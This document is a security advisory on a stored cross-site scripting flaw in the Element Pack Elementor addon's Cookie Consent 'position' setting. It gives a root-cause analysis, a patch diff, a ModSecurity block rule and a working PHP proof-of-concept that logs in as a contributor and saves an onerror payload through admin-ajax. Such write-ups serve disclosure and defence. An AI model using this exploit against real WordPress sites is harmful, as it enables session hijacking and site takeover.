Atomic Edge analysis of CVE-2026-125708: The Element Pack Addons for Elementor plugin (up to 10.0.4) contains a stored cross-site scripting vulnerability in the Cookie Consent widget. This flaw allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages. The script executes when any user, including administrators, views the compromised page. The CVSS score is 6.4, reflecting the requirement for authentication and user interaction.
The root cause lies in insufficient input sanitization and output escaping of the ‘position’ setting within the cookie-consent.php file. At lines 807-818 in the vulnerable version, the code reads the ‘position’ value from the widget settings and maps it to a CSS class string without validation. This mapped value is then passed directly into the data-settings attribute via wp_json_encode at lines 840-841. The cookieconsent JavaScript library subsequently uses innerHTML to build the banner’s class attribute from the ‘position’ value. Because the input is neither sanitized nor escaped, an attacker can supply a malicious string that breaks out of the class attribute and injects executable HTML or JavaScript.
An attacker with Contributor access can exploit this by creating or editing a post that includes the Cookie Consent widget. Using the Elementor editor, the attacker sets the ‘position’ parameter to a payload such as “bottom\”>
“. When the post is saved, the payload is stored in the widget’s settings. Upon previewing or publishing the post, the plugin outputs the unsanitized value into the page’s HTML. Any visitor, including an administrator, who views the page will execute the injected script in their browser. The attack vector is the authenticated Elementor editor interface, specifically the ‘position’ control within the Cookie Consent widget.
The patch in version 10.0.5 introduces a whitelist approach. It defines an array of valid position options and their corresponding CSS classes ($position_classes). It then checks if the user-supplied ‘position’ value exists in this array. If not, it defaults to ‘bottom’. The sanitized value is used both for the CSS class and for the data-settings JSON. Additionally, the static condition is updated to use strict comparison and proper checks. This prevents arbitrary strings from being injected, as only predefined class strings can be used. The output is now safe because the class names are hardcoded and the JSON data is properly encoded.
Successful exploitation leads to stored cross-site scripting. An attacker can execute arbitrary JavaScript in the context of any user viewing the affected page. This could result in session hijacking, theft of sensitive data (such as authentication cookies or CSRF tokens), defacement of the website, or redirection to malicious sites. Given that contributors can create posts that may be previewed by administrators, the vulnerability enables privilege escalation from Contributor to Administrator by compromising the admin’s session.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,7 +4,7 @@
* Plugin Name: Element Pack Lite - Addons for Elementor
* Plugin URI: http://elementpack.pro/
* Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 10.0.4
+ * Version: 10.0.5
* Author: BdThemes
* Author URI: https://bdthemes.com/
* Text Domain: bdthemes-element-pack-lite
@@ -85,7 +85,7 @@
if ( ! element_pack_pro_installed() ) {
// Some pre defined value for easy use
- define( 'BDTEP_VER', '10.0.4' );
+ define( 'BDTEP_VER', '10.0.5' );
define( 'BDTEP_TPL_DB_VER', '1.0.1' );
define( 'BDTEP__FILE__', __FILE__ );
if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/modules/cookie-consent/widgets/cookie-consent.php
+++ b/bdthemes-element-pack-lite/modules/cookie-consent/widgets/cookie-consent.php
@@ -807,17 +807,18 @@
$settings = $this->get_settings_for_display();
- $cc_position = $settings['position'];
+ // The cookieconsent library builds the banner's class attribute from `position` with
+ // innerHTML, so only the control's own options may reach it; a tampered save falls back
+ // to the default.
+ $position_classes = [
+ 'bottom' => 'cc-bottom cc-banner',
+ 'bottom-left' => 'cc-bottom cc-left cc-floating',
+ 'bottom-right' => 'cc-bottom cc-right cc-floating',
+ 'top' => 'cc-top cc-banner',
+ ];
- if ( $cc_position == 'bottom-left' ) {
- $cc_position = 'cc-bottom cc-left cc-floating';
- } else if ( $cc_position == 'bottom-right' ) {
- $cc_position = 'cc-bottom cc-right cc-floating';
- } else if ( $cc_position == 'top' ) {
- $cc_position = 'cc-top cc-banner';
- } else if ( $cc_position == 'bottom' ) {
- $cc_position = 'cc-bottom cc-banner';
- }
+ $position = isset( $settings['position'] ) && is_string( $settings['position'] ) && isset( $position_classes[ $settings['position'] ] ) ? $settings['position'] : 'bottom';
+ $cc_position = $position_classes[ $position ];
$this->add_render_attribute( 'cookie-consent', 'class', [ 'bdt-cookie-consent', 'bdt-hidden' ] );
@@ -840,8 +841,8 @@
'cookie-consent' => [
'data-settings' => [
wp_json_encode( [
- 'position' => $settings['position'],
- 'static' => ( 'top' == $settings['position'] and $settings['pushdown'] ) ? true : false,
+ 'position' => $position,
+ 'static' => ( 'top' === $position && ! empty( $settings['pushdown'] ) ),
'content' => [
'message' => esc_html( $settings['message'] ),
'dismiss' => esc_html( $settings['button_text'] ),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-125708
# Blocks exploitation of the Element Pack Cookie Consent widget stored XSS via the 'position' parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026125708,phase:2,deny,status:403,chain,msg:'CVE-2026-125708 via Element Pack Cookie Consent widget',severity:'CRITICAL',tag:'CVE-2026-125708'"
SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
SecRule ARGS_POST:data "@rx position[^n]*[<>]" "t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125708 - Element Pack Addons for Elementor <= 10.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor_user'; // Contributor-level username
$password = 'password'; // Contributor-level password
$post_id = 1; // ID of an existing post to edit, or 0 to create new
// Initialize cURL session
$ch = curl_init();
// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Login failed.n');
}
// Step 2: Retrieve nonce for Elementor editor (if editing existing post)
if ($post_id > 0) {
$editor_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=elementor';
curl_setopt($ch, CURLOPT_URL, $editor_url);
$response = curl_exec($ch);
if (preg_match('/var elementorFrontendConfig = ({.*?});/s', $response, $matches)) {
$config = json_decode($matches[1], true);
$nonce = $config['nonces']['editor'] ?? '';
} else {
die('Could not extract nonce.n');
}
} else {
// For simplicity, we assume a new post can be created via the editor with a known nonce.
// In practice, the nonce must be obtained from the editor page.
die('This PoC requires editing an existing post with Elementor.n');
}
// Step 3: Craft malicious payload for 'position' setting
$payload = 'bottom"><img src=x onerror=alert(document.cookie)>';
// Step 4: Prepare the Elementor save request
$save_url = $target_url . '/wp-admin/admin-ajax.php';
$save_data = [
'action' => 'elementor_ajax',
'nonce' => $nonce,
'editor_post_id' => $post_id,
'data' => json_encode([
'action' => 'save_builder',
'data' => [
'elements' => [
[
'id' => '123abc',
'elType' => 'widget',
'widgetType' => 'bdt-cookie-consent',
'settings' => [
'position' => $payload,
// other required settings can be added here
]
]
]
]
])
];
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_data));
$response = curl_exec($ch);
$result = json_decode($response, true);
if (isset($result['success']) && $result['success']) {
echo 'Payload saved successfully. Visit the post to trigger XSS.n';
} else {
echo 'Failed to save payload: ' . print_r($result, true) . 'n';
}
curl_close($ch);
unlink('cookies.txt');
?>